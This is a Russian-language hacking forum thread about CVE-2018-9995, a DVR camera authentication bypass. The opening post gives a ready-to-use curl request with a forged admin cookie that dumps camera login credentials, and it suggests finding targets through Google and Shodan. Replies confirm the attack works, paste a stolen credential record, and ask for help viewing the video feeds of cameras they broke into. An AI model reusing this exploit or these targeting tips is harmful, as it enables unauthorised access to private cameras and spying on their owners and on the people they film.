Загрузка...

CVE-2018-9995 или как получить логин и пароль к DVR камере

Тема в разделе Kali Linux создана пользователем mrJollier 21 май 2018. 1416 просмотров

Загрузка...
  1. mrJollier
    mrJollier Автор темы 21 май 2018 Всё ещё живой 540 15 фев 2017
    Брешь позволяет одним запросом вытащить логины и пароли к веб интерфейсу DVR устройства, откуда, кстати, можно смотреть трансляцию/запись камеры, менять настройки и всё в этом духе.



    Собственно запрос

    curl "http://<dvr_host>:<port>/device.rsp?opt=user&cmd=list" -H "Cookie: uid=admin"



    [IMG]
    Камеры неплохо "гуглятся" и находятся в шодане.

    [IMG]
    [IMG]
    Не советую использовать всё это дело в незаконных целях (я должен был это сказать), по крайней мере потому, что подглядывать не хорошо

    На гите автора есть эксплоит на питоне (хотя по мне проще написать свой)
     
  2. GUCb
    GUCb 29 май 2018 34 18 окт 2016
    спасибо, всё работает, пароль и логин появляются, но почему ничего не видно
     
  3. Maksim360360
    Maksim360360 23 июн 2018 Человек из команды "Good Code Dev" 38 11 апр 2018
    Бл как я удивился когда убедился что работает, с меня симпы!!!!
     
  4. Maksim360360
    Maksim360360 23 июн 2018 Человек из команды "Good Code Dev" 38 11 апр 2018
    Логин и пароль находятся сдесь
    {"uid":"sasa","pwd":"zip","role":3,"enmac":0,"mac":"00:00:00:00:00:00","playback":65535,"view":0,"rview":65535,"ptz":0,"backup":65535,"opt":62436}]}root@kali:~# ^C
    под iid это логин бот pwd это пароль без кавычек!
     
  5. fedo815_inactive310173
    я не могу смотреть тупо черный экран чё делать?
     
  6. Maksim360360
    Maksim360360 23 июн 2018 Человек из команды "Good Code Dev" 38 11 апр 2018
  7. fedo815_inactive310173
    Maksim360360, ну я логин и пароль написал зашел всё ок но видео нету
     
  8. fedo815_inactive310173
  9. Maksim360360
    Maksim360360 23 июн 2018 Человек из команды "Good Code Dev" 38 11 апр 2018
Top